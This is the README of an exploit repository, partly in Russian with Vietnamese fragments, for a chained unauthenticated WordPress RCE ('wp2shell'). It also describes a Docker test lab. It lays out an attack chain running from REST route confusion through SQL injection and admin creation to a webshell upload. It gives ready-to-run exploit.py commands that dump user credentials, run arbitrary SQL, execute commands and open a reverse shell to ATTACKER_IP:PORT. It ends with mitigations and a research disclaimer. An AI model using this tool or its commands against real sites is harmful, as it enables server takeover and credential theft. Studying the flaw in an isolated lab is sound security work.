
Эксплойт RCE без аутентификации для WordPress (CVE-2026-63030 + CVE-2026-60137), объединяющий ошибку маршрутизации и SQL-инъекцию для получения полного доступа к оболочке. Включает Docker-лабораторию для безопасного тестирования.
RCE без аутентификации в ядре WordPress — Route Confusion + SQL Injection, объединенные в удаленное выполнение кода
| CVE | CVE-2026-63030 + CVE-2026-60137 |
| Псевдоним | wp2shell |
| Тип уязвимости | REST API Route Confusion → SQL Injection → RCE |
| Серьезность | Критическая — CVSS 10.0 |
| Затронутые версии | WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 |
| Исправлено в | WordPress 6.8.6, 6.9.5, 7.0.2 |
| Требуется аутентификация | Нет (без аутентификации) |
wp2shell — это название цепочки эксплойтов, объединяющей 2 уязвимости в ядре WordPress:
/wp-json/batch/v1) имеет смещение индекса между массивами $matches[] и $validation[] при ошибке пути субзапроса, что приводит к выполнению следующего субзапроса с неправильным обработчиком → обход проверки схемы REST API.WP_Query::get_posts() не санитизирует параметр author__not_in, когда он передается как строка, а не как массив → прямая SQL-инъекция.Две ошибки вместе образуют полную цепочку Pre-Auth RCE — от нулевых учетных данных до shell на сервере через один HTTP-запрос.
Route Confusion (bypass REST validation)
→ SQL Injection (đọc DB: users, secret keys)
→ oEmbed cache poisoning (read-only SQLi → write primitive)
→ customize_changeset (tạo admin mới)
→ Plugin upload (webshell)
→ Remote Code Execution
Полный технический анализ читайте в REPORT.md
Лаборатория использует Docker Compose с 3 контейнерами:
setup.sh)cd wp2shell-lab
bash setup.sh
Скрипт автоматически:
По завершении отобразится "WP2Shell Lab — READY!" с информацией для входа.
cd wp2shell-lab
docker compose down -v
# Kiểm tra vulnerability
python3 exploit.py check http://TARGET:8080
# Kiểm tra + xác nhận SQLi
python3 exploit.py check --confirm-sqli http://TARGET:8080
# Đọc user credentials từ database
python3 exploit.py read --preset users http://TARGET:8080
# Chạy câu SQL tùy ý
python3 exploit.py read --query "SELECT @@version" http://TARGET:8080
# Full RCE — chạy command
python3 exploit.py shell --cmd "id" http://TARGET:8080
# Reverse shell
python3 exploit.py shell --reverse ATTACKER_IP:PORT http://TARGET:8080
PoC скрипт полностью переписан, основан на Icex0/wp2shell-poc. Использует только стандартную библиотеку Python 3, дополнительные зависимости не требуются.
| Условие | Требование |
|---|---|
| Версия WordPress | 6.9.0–6.9.4 или 7.0.0–7.0.1 |
| REST API batch endpoint | Доступен (включен по умолчанию) |
| Аутентификация | Не требуется |
| Сеть | Атакующий может достичь WordPress |
add_filter('rest_batch_disabled', '__return_true'); в functions.php./wp-json/batch/v1, содержащие SQL-ключевые слова.Этот репозиторий создан для целей исследования, обучения и CTF в контролируемой лабораторной среде. Не используйте для атаки реальных систем. Любое несанкционированное использование является нарушением закона.
| Контейнер |
|---|
| Образ |
|---|
| Порт |
|---|
| WordPress (уязвимый) | wordpress:6.9.4 | 8080 |
| MySQL | mysql:8.0 | internal |
| phpMyAdmin | phpmyadmin:latest | 8081 |